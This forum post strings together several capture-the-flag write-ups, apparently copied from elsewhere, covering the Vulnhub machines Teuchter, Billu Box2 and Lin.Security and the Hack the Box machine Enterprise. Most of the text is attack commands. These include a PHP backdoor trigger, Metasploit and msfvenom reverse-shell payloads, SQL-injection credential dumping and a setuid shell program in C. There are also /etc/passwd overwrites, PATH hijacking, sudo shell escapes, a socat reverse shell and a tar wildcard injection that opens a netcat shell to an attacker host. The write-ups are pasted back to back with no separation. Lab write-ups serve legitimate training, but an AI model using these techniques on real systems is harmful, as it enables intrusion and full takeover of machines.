Login

**NINZA** · 05-14-2020, 09:14 AM

0			0

This post is on the latest CTF challenge “Teuchter” presented by vulnhub for penetration practice and design by knightmare. This virtual machine is having intermediate to the medium difficulty level. One need to break into VM using the web application and from there escalate privileges to gain root access.
Download it from here:

[To see content please register here]

Penetrating Methodologies

Network Scanning (netdiscover, Nmap)
Abusing HTTP service for PHP extract backdoor
Compromise victim’s (Metasploit)
SUID Privilege escalation
Steganography for original flag.txt

Lets Start!!!
Let’s start with getting to know the IP of VM (Here, I have it at 192.168.1.104 but you will have to find your own)
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Now let’s move towards enumeration in context to identify running services and open of victim’s machine by using the most popular tool Nmap.
nmap -A 192.168.1.104
1
nmap -A 192.168.1.104
[Image: 2.png?w=687&ssl=1]

Knowing port 80 is open in the victim’s network I preferred to explore his IP in a browser. At first glance, we saw following web page. When couldn’t found something suspicious, so we try to check its source-code
[Image: 3.png?w=687&ssl=1]

Hmmm!! After exploring the source code page, you can analysis the “Green color text” sounds a little bit doubtful. Giving priority to /gallery /flicks and /telly we have considered them as the subjective web directories and then try to explore it in the web browser.
Also, consider hint given for some extension like .pht for PHP.
[Image: 4.png?w=687&ssl=1]

So I opened the URL

[To see content please register here]

but couldn’t get anything neither from its web page nor from its source code.
[Image: 5.png?w=687&ssl=1]

Then explored the URL

[To see content please register here]

and it put-up following web page in front of us and at looking at its page source code we notice something like flicks phpinfo.
[Image: 6.png?w=687&ssl=1]

So without wasting time, we lunch directory brute-force attack on the following URL for identifying .php and .pht extension files.
dirb

[To see content please register here]

-X .php,.pht
1
dirb

[To see content please register here]

-X .php,.pht
[Image: 7.png?w=687&ssl=1]

And from its result, we find a phpinfo.pht file and explored it in the browser and it gives me an internal server error when I open it. So I search in Google phpinfo.php found this link:

[To see content please register here]

Thanks to Mr. Daniel B. Cid for sharing his experience because with help of above link we get the idea to exploit it. As the author has hidden the PHP extract backdoor inside the phpinfo.pht file and now whatever the attacker sends as “ctime” with “atime” as an argument it will be executed successfully.
As you can observe when we try to execute the system command “id” through the given below URL we got following result on the web page.
192.168.1.104/flicks/phpinfo.php?ctime=system&atime=id
1
192.168.1.104/flicks/phpinfo.php?ctime=system&atime=id
[Image: 8.png?w=687&ssl=1]

Let’s compromise the victim’s VM to get the meterpreter shell, therefore, we load the Metasploit framework and execute below commands.
use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set target 1
msf exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 192.168.1.107
msf exploit(multi/script/web_delivery) > exploit
1
2
3
4
5
use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set target 1
msf exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 192.168.1.107
msf exploit(multi/script/web_delivery) > exploit
Copy the highlighted text for malicious PHP code and Paste it inside the URL as an argument.
[Image: 9.png?w=687&ssl=1]

You will get the meterpreter session of victim’s machine in your Metasploit framework and after then finished the task by grabbing the flag.txt file. Further type following for extracting more information for post exploitation.
Here first I sysinfo command to enumerate install kernel version but didn’t found any working exploit for this VM therefore then I decide to go with the manual approach for privilege escalation. Thus execute below commands:
cd /home
ls
cd proclaimers
ls
cd letterfromamerica
ls
1
2
3
4
5
6
cd /home
ls
cd proclaimers
ls
cd letterfromamerica
ls
Here I found two files semaphore and test and if you will notice at their permissions then you will realize that SUID bit enabled for semaphore and GUID bit is enabled for test.
[Image: 10.png?w=687&ssl=1]

Now let access proper tty shell of victim’s VM and enumerate furthermore inside it.
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
1
2
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
ooh!! I got something suspicious file a login.txt from inside /home/jkerr, and promisedyouamiracle.jpg image. And after reading the note of the login.txt file I decided to download jpg image in our local machine.
Since the python 3 is already running, therefore, we execute the following command for transferring file.
python3 -m http.server 8080
1
python3 -m http.server 8080
[Image: 11.png?w=687&ssl=1]

When we explored the promisedyouamiracle.jpg image in the browser we got the following photo.
[Image: 12.png?w=687&ssl=1]

With help of exiftool, we try to extract metadata from inside this image and luckily found the bas64 encoded text.
exiftool promisedyouamiracle.jpg
1
exiftool promisedyouamiracle.jpg
[Image: 13.png?w=687&ssl=1]

With the help of the following command, we try to decode the text and got “gemini” which could be a possible password.
echo "Z2VtaW5pCg==" | base64 -d
1
echo "Z2VtaW5pCg==" | base64 -d
[Image: 14.png?w=687&ssl=1]

Let try to login by using gemini as a password for user: proclaimers because it holds two important files. Execute the following commands and extract the information.
su proclaimers
password: gemini
ls
cd proclaimers
ls
cd letterfromamerica
ls -al
1
2
3
4
5
6
7
su proclaimers
password: gemini
ls
cd proclaimers
ls
cd letterfromamerica
ls -al
Oh Great!! As declared above SUID bit enabled for the semaphore and GUID bit enabled for the test, let’s use grep command to get everything related to semaphore.
grep -R "semaphore" /usr/local 2>/dev/null
1
grep -R "semaphore" /usr/local 2>/dev/null
Awesome, I got a script at this path /usr/local/bin/numpties.sh; let’s open it with cat command.
cat /usr/local/bin/numpties.sh
1
cat /usr/local/bin/numpties.sh
After reading it, I conclude that the cronjob will add the SUID bit to semaphore and also give root ownership to this file if the file exists.
[Image: 15.png?w=687&ssl=1]

No wonder, if I replace the original semaphore by the fake semaphore file then our fake file will get SUID permission. So in our local, we write a C-program to get bash shell and compile it.
include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
Int main ()
{
setuid(geteuid ());
system("/bin/bash");
}
1
2
3
4
5
6
7
8
include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
Int main ()
{
setuid(geteuid ());
system("/bin/bash");
}

gcc shell.c -o semaphore
python -m SimpleHTTPServer 80
1
2
gcc shell.c -o semaphore
python -m SimpleHTTPServer 80
[Image: 16.1.png?w=687&ssl=1]

Since we have compiled file semaphores and also running python server, therefore, let’s download our fake semaphore at the place of original semaphores. Thus first I removed original semaphores and download compiled file in the same directory.
rm -rf semaphore
curl -O

[To see content please register here]

1
2
rm -rf semaphore
curl -O

[To see content please register here]

After sometime when I checked the permission for the new semaphore I found the SUID bit was on. At that moment you should run the script which will give root terminal after getting executed and then look for flag inside /root directory.
ls -la
./semaphore
cd /root
cat flag.txt
1
2
3
4
ls -la
./semaphore
cd /root
cat flag.txt
[Image: 16.png?w=687&ssl=1]

This was not actual flag let’s try to get the original flag
cd root
ls
re-record-not-fade-away
ls -al
cd on
ls
cd and
ls
cd on
1
2
3
4
5
6
7
8
9
cd root
ls
re-record-not-fade-away
ls -al
cd on
ls
cd and
ls
cd on
So on………… and at last you will get /ariston which is holding a zip file “TeuchterESX.zip”.
cd ariston
1
cd ariston
[Image: 17.png?w=687&ssl=1]

Again run the following command in the current directory to transfer zip file.
python3 -m http.server 8080
1
python3 -m http.server 8080
[Image: 18.png?w=687&ssl=1]

Now download TeuchterESX.zip file in local machine and unzip it.
wget

[To see content please register here]

unzip TeuchterESX.zip
password: Teuchter
1
2
3
wget

[To see content please register here]

unzip TeuchterESX.zip
password: Teuchter
[Image: 19.png?w=687&ssl=1]

We got a vmdk file and further I run following command to the list of present drive for mounting disk image.
fdisk -l
1
fdisk -l
Here we saw /dev/sdb1 which looks good mounting disk image thus I install the vmfs-tools package.
[Image: 30.png?w=687&ssl=1]

So we have used vmfs-fuse to mount the drive and execute the following commands:
mkdir Teuchter
vmfs-fuse /dev/sdb1 /root/Desktop/Teuchter/
cd Teuchter
ls
cat hint.txt
cd redkola
1
2
3
4
5
6
mkdir Teuchter
vmfs-fuse /dev/sdb1 /root/Desktop/Teuchter/
cd Teuchter
ls
cat hint.txt
cd redkola
In this text messages the author had given hint to check ISO for getting the password which is related to TV advert and it’s of 25 characters.
[Image: 31.png?w=687&ssl=1]

So we mount the new folder /redkola.iso where we found an image file glass_ch.jpg with help of the following command:
mount redkola.iso /root/Desktop/redkola
cd /root/Desktop/redkola
ls
1
2
3
mount redkola.iso /root/Desktop/redkola
cd /root/Desktop/redkola
ls
[Image: 32.1.png?w=687&ssl=1]

Further, we opened the image “glass_ch.jpg” and it was a picture of Irn-Bru soft-drinks. Probably there could be chances of hidden text in this image, therefore, we tried steghide to extract out hidden text but when I execute the following command it asks to enter some passphrase which we don’t know yet and it should above said 25 characters which we need to be found.
steghide extract -sf glass_ch.jpg -xf /root/Desktop/finalflag.txt
1
steghide extract -sf glass_ch.jpg -xf /root/Desktop/finalflag.txt
[Image: 32.2.png?w=687&ssl=1]

Taking help of above hint and image I search Irn-bru-wiki and got this link

[To see content please register here]

And after spending a long time over wiki I got 25 characters in ‘madeinscotlandfromgirders’, which was Irn-Bru advertising slogan and tried it as the passphrase.
[Image: 32.png?w=687&ssl=1]

We entered the above passphrase and extracted the text file on the desktop.
[Image: 33.png?w=687&ssl=1]

Congrats!! Finally, we got the final flag.txt

Hello friends!! Today we are going to solve another CTF challenge “Enterprise” which is available online for those who want to increase their skill in penetration testing and black box testing. Enterprise is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.61 so let’s begin with nmap port enumeration.
nmap -sV 10.10.10.61
1
nmap -sV 10.10.10.61
From given below image, you can observe we found port 22, 80, 443 and 80 are open on target system.
[Image: 1.png?w=687&ssl=1]

As port 80 is running http server we open the target machine’s ip address in our browser, and find a website that is running on wordpress.
[Image: 2.png?w=687&ssl=1]

As port 8080 is also running http server we open the target machine’s ip address in our browser, and find a website that is not made on wordpress.
[Image: 3.png?w=687&ssl=1]

When we try to open the wordpress admin page but are redirected to domain called “enterprise.htb”. We enter the domain name in /etc/hosts file.
[Image: 4.png?w=687&ssl=1]

Now when we open wp-admin, we are able to get the login page.
[Image: 5.png?w=687&ssl=1]

We run dirb on port 80 to enumerate the directories and find a directory called /files.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

We open the files/ directory, and find a zip file.
[Image: 7.png?w=687&ssl=1]

We download the zip file in our system and unzip it. After unzipping it we find 3 php files.
[Image: 8.png?w=687&ssl=1]

We take a look at the content of the files and it looks like there might be plugin called lcars that is being used by the wordpress site and by the looks of the code it is possible that is vulnerable to SQL-injection.
[Image: 9.png?w=687&ssl=1]

Now when we open it we get a php error message, we now know that this plugin is vulnerable to SQL-injection.
[Image: 10.png?w=687&ssl=1]

We use sqlmap to dump the database and found a message with a few passwords. We also find that there is a joomla database we try to dump it and find a username geordi.la.forge.
[Image: 11.1.png?w=687&ssl=1]

Now we use one of these passwords to login into wordpress. On the webpage we see that there are has been posts made by user william.riker. So we use credentials william.riker:u*Z14ru0p#ttj83zS6 to login into wordpress control panel.
[Image: 11.png?w=687&ssl=1]

Now we change the 404.php template with our payload to get reverse shell on the machine. First we are going to create our payload using msfvenom.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.25 lport=4444 –f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.25 lport=4444 –f raw
[Image: 12.png?w=687&ssl=1]

Now we are going to setup our listener using metasploit.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.25
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.25
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run
[Image: 13.png?w=687&ssl=1]

After replacing the 404.php code with our payload, we open the 404.php page in our browser.
[Image: 15.png?w=687&ssl=1]

As soon as we open it we get our reverse shell.
[Image: 16.png?w=687&ssl=1]

After getting our reverse shell we find that we are actually in a container app and we find the machine has 2 network card.
[Image: 17.png?w=687&ssl=1]

Now we find all the ip’s in the subnet of the container.
[Image: 18.png?w=687&ssl=1]

Now we create another shell using msfvenom to upload it into the joomla site on port 8080.
[Image: 23.png?w=687&ssl=1]

Now we background our session and change the lport according to our payload.
meterpreter > background
msf exploit(multi/handler) > set lport 4455
msf exploit(multi/handler) > run
1
2
3
meterpreter > background
msf exploit(multi/handler) > set lport 4455
msf exploit(multi/handler) > run
[Image: 24.png?w=687&ssl=1]

We are first going to login into the joomla site, using credentials, geordi.la.forge:ZD3YxfnSjezg67JZ and upload our shell code.
[Image: 25.png?w=687&ssl=1]

As soon as we open the page we get our reverse shell.
[Image: 26.png?w=687&ssl=1]

After getting into the joomla container, we find that we have common file called /var/www/html/files.
[Image: 27.png?w=687&ssl=1]

We create another php payload using msfvenom to upload this shell into /var/www/html/files directory.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.25 lport=4444 -f raw > shell1.php
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.25 lport=4444 -f raw > shell1.php
[Image: 28.png?w=687&ssl=1]

We go to /var/www/html/files directory and upload the shell using meterpreter.
[Image: 29.png?w=687&ssl=1]

Now we background our current session and change the lport according to our new payload.
meterpreter > background
msf exploit(multi/handler) > set lport 5555
msf exploit(multi/handler) > run
1
2
3
meterpreter > background
msf exploit(multi/handler) > set lport 5555
msf exploit(multi/handler) > run
[Image: 30.png?w=687&ssl=1]

When we go to /files directory we find that our shell has been uploaded.
[Image: 31.1.png?w=687&ssl=1]

As soon as we click on the payload we get our reverse shell.
[Image: 31.png?w=687&ssl=1]

After getting the reverse shell on the main machine instead of container we try to find files with suid bit set.
find / -perm -4000 2>/dev/null
1
find / -perm -4000 2>/dev/null
[Image: 32.png?w=687&ssl=1]

We find a file called lcars, we find that it has been running on port 32812.
[Image: 33.1.png?w=687&ssl=1]

When we connect with it using netcat we find that it asks for access code.
[Image: 33.2.png?w=687&ssl=1]

We run the file on the target machine using ltrace to find the access code for this binary.
[Image: 34.png?w=687&ssl=1]

We find that when we pass a it gets compared to a string called pircarda1. We use this to login into the binary.
[Image: 35.png?w=687&ssl=1]

We are able to access the file using this binary now we try to find this program is vulnerable to buffer overflow. We open the file using gdb to read the assembly code.
[Image: 36.png?w=687&ssl=1]

Now create 500 byte long string using pattern_create.rb script to find the EIP offset.
./pattern_create.rb -l 500
1
./pattern_create.rb -l 500
[Image: 38.png?w=687&ssl=1]

After searching all the options we find that option number 4 was vulnerable to buffer overflow.
[Image: 39.png?w=687&ssl=1]

We pass that into /usr/share/metasploit-framework/tools/pattern_offset.rb, we get an offset of 212. So we need to write 212 characters and then write the address of the instructions we want to be executed.
./pattern_offset -q 31684130 -l 500
1
./pattern_offset -q 31684130 -l 500
[Image: 40.png?w=687&ssl=1]

Now when we try to insert shellcode into the buffer but we were unable to execute it because of DEP. It prevents code from being executed in the stack. Now we are going to do a ret2libc attack to execute a process already present in the process’ executable memory. We go into the target machine and find ASLR in enabled so we have to brute force the address. Now we find the address of system, exit and /bin/sh.
gdb /bin/lcars
(gdb) b main
(gdb) run
(gdb) p system
(gdb) find 0xf7e0bd10, +9999999, "/bin/sh"
(gdb) p exit
1
2
3
4
5
6
gdb /bin/lcars
(gdb) b main
(gdb) run
(gdb) p system
(gdb) find 0xf7e0bd10, +9999999, "/bin/sh"
(gdb) p exit
[Image: 41.png?w=687&ssl=1]

We create an exploit which can be found

[To see content please register here]

. As soon as we run the exploit we get our reverse shell as root user. We go to /root directory and find a file called “root.txt”. When we open it we find our 1st flag. We then go to /home directory inside we find another directory called jeanlucpicard/. Inside /home/jeanlucpicard we find a file called “user.txt”, we open it and find our final flag.
[Image: 42.png?w=687&ssl=1]

Today we are going to solve the latest CTF challenge “Billu Box2” presented by vulnhub for penetration practice and design by Manish Kishan Tanwar. This virtual machine is having intermediate to the medium difficulty level. One need to break into VM using the web application and from there escalate privileges to gain root access.
You can download it from this Link:

[To see content please register here]

Penetration Methodologies

Network scanning
Exploit Drupal (Metasploit)
privilege escalation via Writable /passwd file
privilege escalation via PATH variable
Get root access and capture the flag

Let’s Begin!!
You will get target VM machine IP at the time of boot-up as you can observe we have it as 192.168.1.108.
[Image: 0.png?w=687&ssl=1]

So let’s start with nmap port enumeration and execute following command in our terminal.
nmap -A 192.168.1.108
1
nmap -A 192.168.1.108
Here I noticed Drupal 8 CMS is running through apache and might be you are knowing that Metasploit contains a module to compromise the target by exploiting drupalgeddon.
[Image: 1.png?w=687&ssl=1]

So let’s try to exploit this web application with the help of the Metasploit module and for that execute the following command:
use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.1.108
msf exploit(unix/webapp/drupal_drupalgeddon2)> exploit
1
2
3
use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.1.108
msf exploit(unix/webapp/drupal_drupalgeddon2)> exploit
Yippee!! We have owned meterpreter session 1, now let’s go for privilege escalation. Firstly let access proper tty shell with help of python one-liner and identify kernel version.
python -c 'import pty;pty.spawn("/bin/bash")'
lsb_release -a
1
2
python -c 'import pty;pty.spawn("/bin/bash")'
lsb_release -a
[Image: 2.png?w=687&ssl=1]

I search for any relative kernel exploit but didn’t found any working exploit so I penetrated a little bit more and enumerated that the /passwd file has ALL 777 permission as shown in the below image.
[Image: 3.png?w=687&ssl=1]

With help of cat command, we open /etc/passwd file and notice an entry for local user “indishell” inside it. Since this file has ALL permission which means I can modify it very easily. So I copied the whole /passwd file in an empty text file in our local machine and saved at /root/Desktop/passwd.
[Image: 14.png?w=687&ssl=1]

As you can observe the entry for user indishell contain encrypted passwd and I don’t know which encryption is used therefore I will try to replace the original salt password. We can use OpenSSL command which will generate an encrypted password with salt.
openssl passwd -1 -salt abc pass123
1
openssl passwd -1 -salt abc pass123
Now copy it which is the new salt password for a password:pass123 and paste at the place of an original salt password for user indishell.
[Image: 15.png?w=687&ssl=1]

As you can observe, we had manipulated old password hash from our new password salt and also modify UID GID as 0:0 to make him a member of the root user.
[Image: 16.png?w=687&ssl=1]

Now transfer your modified passwd file into target’s VM machine and follow the below steps to access root shell terminal.
cd /etc
upload /root/Desktop/passwd .
python -c 'import pty;pty.spawn("/bin/bash")'
su indishell
whoami
1
2
3
4
5
cd /etc
upload /root/Desktop/passwd .
python -c 'import pty;pty.spawn("/bin/bash")'
su indishell
whoami
B000M!!!! We hit the Goal and got root access to this VM. This vulnerability can be exploited in multiple ways and for detail open this link:

[To see content please register here]

Second Method for Privilege Escalation
Search for the file having SUID or 4000 permission with help of Find command.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
Here I found SUID bit is enabled for a file named as “s” which is present inside /opt directory, on its execution we realize that it is an SCP file which is asking SSH authentication.
[Image: 21.png?w=687&ssl=1]

Hence, now we can modify this file to get a bash shell with the help of the following step which is also known Path Variable Privilege Escalation.
cd /tmp
echo "/bin/sh" > scp
chmod 777 scp
export PATH=/tmp:$PATH
cd /opt
./s
id
1
2
3
4
5
6
7
cd /tmp
echo "/bin/sh" > scp
chmod 777 scp
export PATH=/tmp:$PATH
cd /opt
./s
id
This vulnerability can be exploited in multiple ways and for detail open this link:

[To see content please register here]

As we know how some weak misconfiguration sudo rights can lead to root privilege escalation and today I am going to solve the CTF “Lin. Security – Vulnhub” which is a design on weak sudo right permissions for beginners to test their skill set through this VM.
This lab has been designed by the researcher to help us understand, how certain built-in applications and services if misconfigured, may be abused by an attacker. Here an up-to-date Ubuntu distro (18.04 LTS) suffers from a number of vulnerabilities that allow a user to escalate to root on the box.
You can download it from here:

[To see content please register here]

Task: Get root shell for ALL Users (Bob, Susan, Peter)
Level: Beginner to Advance
Penetrating Methodologies
Escalate root shell for Bob

Via sudo right
Via wildcard Injection
Via SUID Binaries

Escalate root shell for Susan

Via SUID Binaries

Escalate root shell for Peter

Via Network file sharing (NFS)

Note: Kindly follow the reference link given in the article for details, because this machine vulnerable to a bunch of services and reference link holds detail of each Privilege Escalation Techniques.
Escalate root shell for Bob
1st Procedures

Login using ssh credential
Check sudoers list for sudo permissions
Get root shell via system binaries having sudo permission

Let’s move now to find ways to root this lab!!
The first thing before doing any of the CTF is to read the instructions carefully before starting your vulnerability assessment and save your precious time.
The writer of the lab has given a hint in terms of user-id & password of one of the users.
It is “To get started you can log onto the host with the credentials: bob/secret“ and the IP of my lab is 192.168.1.104.
[Image: 1.png?w=687&ssl=1]

I used the port 22 (SSH) to login into the machine with given credentials: bob/secret
ssh [email protected]
1
ssh [email protected]
After ‘logging in’ I tried to check the sudo rights for user bob:
sudo -l
1
sudo -l
The next prompt asked for the root password and I tried the same credentials “secret” and it worked!! I can see all the permissions which bob has and now I can easily root the machine using any of these permitted commands.
Visit given below link for complete details:

[To see content please register here]

As you can observe that we had escalated root shell when sudo have rights for all types of the shell such as ksh, zsh, bash and so on or for editors or for other programs such as pico, vi, Perl, scp, find, less and so on. It goes in a privileged environment with elevated privileges to access the file system or elevate root shell if sudo permission is enabled.
You can use the following list of command to get a root shell:
sudo ash
sudo awk 'BEGIN {system("/bin/bash")}'
sudo bash
sudo sh
sudo csh
sudo dash
sudo tclsh
sudo zsh
find /home -exec /bin/bash \;
1
2
3
4
5
6
7
8
9
sudo ash
sudo awk 'BEGIN {system("/bin/bash")}'
sudo bash
sudo sh
sudo csh
sudo dash
sudo tclsh
sudo zsh
find /home -exec /bin/bash \;
[Image: 3.png?w=687&ssl=1]

Get root shell via FTP, Expect, Socat
With this, we can spawn the interactive system shell and can get away from low-privilege environments. It goes in a privileged environment with elevated privileges to access the file system or elevate root shell if sudo permission is enabled.
sudo ftp
!/bin/bash
id
sudo expect -i
sudo env /bin/bash
sudo ed
!/bin/bash
id
sudo perl -e 'exec' "/bin/bash";'
sudo socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.109:1234
1
2
3
4
5
6
7
8
9
10
sudo ftp
!/bin/bash
id
sudo expect -i
sudo env /bin/bash
sudo ed
!/bin/bash
id
sudo perl -e 'exec' "/bin/bash";'
sudo socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.109:1234
[Image: 4.png?w=687&ssl=1]

On other you should be in listening mode by using socat listener in your local machine to get privilege shell:
socat file:'tty',raw,echo=0 tcp-listen:1234
1
socat file:'tty',raw,echo=0 tcp-listen:1234
[Image: 5.png?w=687&ssl=1]

Less
With less, we can spawn the interactive system shell and can get away from low-privilege environments. It goes in a privileged environment with elevated privileges to access the file system or elevate root shell if sudo permission is enabled.
sudo less /etc/hosts
1
sudo less /etc/hosts
[Image: 9.png?w=687&ssl=1]

As we know it opens the file in vi mode and since you have run the command with sudo right which means we can get a shell through it. Execute !bash command inside hosts file as shown above and you will get the root shell.
[Image: 10.png?w=687&ssl=1]

Man
Man can be used to break out from restricted environments by spawning an interactive system shell.
sudo man /etc/hosts
1
sudo man /etc/hosts
[Image: 11.png?w=687&ssl=1]

As we know it opens the file in vi mode and since you have run the command with sudo right which means we can get a shell through it. Execute !bash command inside hosts file as shown above and you will get a root shell.
[Image: 12.png?w=687&ssl=1]

Git
With this, we can spawn the interactive system shell and can get away from low-privilege environments. It goes in a privileged environment with elevated privileges to access the file system or elevate root shell if sudo permission is enabled.
sudo git help status
1
sudo git help status
[Image: 13.png?w=687&ssl=1]

As we know it opens the file in vi mode and since you have run the command with sudo right which means we can get a shell through it. Execute !bash command inside git status file as shown above and you will get a root shell.
[Image: 14.png?w=687&ssl=1]

Pico
Since we know that pico is a text editor such as nano and vi also has sudo permission, which means that now we can also edit system files. Now open /etc/shadow file with pico editor and try to modify the root password.
[Image: 15.png?w=687&ssl=1]

On other hands, I have generated a new encrypted password: pass123 using OpenSSL passwd
openssl passwd -1 -salt abc pass123
1
openssl passwd -1 -salt abc pass123
[Image: 16.1.png?w=687&ssl=1]

Now paste the above generated encrypted password inside shadow file for user root.
[Image: 16.png?w=687&ssl=1]

Since we have modified the root password into pass123, therefore, let get root login using it.
su root
1
su root
[Image: 17.png?w=687&ssl=1]

SCP
It can be used to break out from restricted environments by spawning an interactive system shell. It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.
hack=$(mktemp)
echo "/bin/bash 0<&2 1>&2" > $hack
chmod +x "$hack"
sudo scp -S $hack abc abd:
id
1
2
3
4
5
hack=$(mktemp)
echo "/bin/bash 0<&2 1>&2" > $hack
chmod +x "$hack"
sudo scp -S $hack abc abd:
id
[Image: 26.png?w=687&ssl=1]

SSH
With this, we can spawn the interactive system shell and can get away from low-privilege environments. It goes in a privileged environment with elevated privileges to access the file system or elevate root shell if sudo permission is enabled. Let’s spawn an interactive root shell through Proxy Command option.
sudo ssh -o ProxyCommand=";/bin/bash 0<&2 1>&2" abc
id
1
2
sudo ssh -o ProxyCommand=";/bin/bash 0<&2 1>&2" abc
id
[Image: 27.png?w=687&ssl=1]

Curl
With this, we can spawn the interactive system shell and can get away from low-privilege environments. Since we have a low privilege shell which means, we can access /etc/passswd file.
[Image: 28.png?w=687&ssl=1]

So, I copied /etc/passwd file in my local machine and removed encrypted password for user “insecurity”.
[Image: 29.png?w=687&ssl=1]

By running curl with sudo permission we can fetch a remote file via http-get method.
sudo curl

[To see content please register here]

-o /etc/passwd
1
sudo curl

[To see content please register here]

-o /etc/passwd
[Image: 30.png?w=687&ssl=1]

So, as you can observe that now we are having modified passwd file where user insecurity has an entry with UID: GID 0:0 and no password.
[Image: 31.png?w=687&ssl=1]

Since we have modified the insecurity password into the blank password, therefore, let get root login using it.
sudo -u insecurity bash
1
sudo -u insecurity bash
[Image: 32.png?w=687&ssl=1]

Vi Editor
With this, we can spawn the interactive system shell and can get away from low-privilege environments. It goes in a privileged environment with elevated privileges to access the file system or elevate root shell if sudo permission is enabled.
Type following:
sudo vi
:!sh
id
1
2
3
sudo vi
:!sh
id
[Image: 35.png?w=687&ssl=1]

All you can observe that I have root shell after this.
[Image: 36.png?w=687&ssl=1]

Rvim
With rvim, we can spawn the root shell and can get away from low-privilege environments. It goes in a privileged environment with elevated privileges to access the file system or elevate root shell if sudo permission is enabled. This requires that rvim is compiled with Python support. Prep-end: py3 for Python 3. Now enter following command to spawn /bin/sh shell with higher privilege shell.
sudo rvim -c ":py3 import pty; pty.spawn('/bin/bash')"
1
sudo rvim -c ":py3 import pty; pty.spawn('/bin/bash')"
[Image: 37.png?w=687&ssl=1]

You will see, it opens the file in vi mode and since you have run the command with sudo right which means we can get a shell through it. Execute !bash command inside it as shown below and you will get a root shell.
!bash
id
1
2
!bash
id
[Image: 38.png?w=687&ssl=1]

2nd Procedures

Wildcard Injection
Check cron job
Generate one-liner for the netcat_reverse shell (msfvenom)
Exploit tar wildcard injection
Spawn root shell through netcat session

Now open crontab to view if any task is scheduled.
cat /etc/crontab
Here we notice the target has scheduled a bash program script for every 1 minute and we know that cron job runs as root. The minute attacker read the program written inside /etc/cron.daily/backup the script, since it is saving a compressed copy of each user’s home directories to /etc/backups. Therefore we can apply tar wildcard injection.
Visit below link to read complete detail of wildcard injection attack:

[To see content please register here]

On a new terminal in your Kali to generate netcat reverse shell malicious code for achieving netcat reverse connection by using msfvenom and enter the following command for that:
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=8888 R
1
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=8888 R
Now copy the generated payload and paste inside the victim’s shell as described below.
echo "mkfifo /tmp/ckrkrjp; nc 192.168.1.109 8888 0</tmp/ckrkrjp | /bin/sh >/tmp/ckrkrjp 2>&1; rm /tmp/ckrkrjp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
1
2
3
echo "mkfifo /tmp/ckrkrjp; nc 192.168.1.109 8888 0</tmp/ckrkrjp | /bin/sh >/tmp/ckrkrjp 2>&1; rm /tmp/ckrkrjp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
[Image: 39.png?w=687&ssl=1]

Since the tar command is running as root due to crontab, this has the effect of spawning a netcat shell and sending it to the attack platform on port 8888. And if you go back to the terminal window where the listener was on, you will have victim’s reverse connection in after 1 minute.
nc -lvp 8888
id
1
2
nc -lvp 8888
id
[Image: 40.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis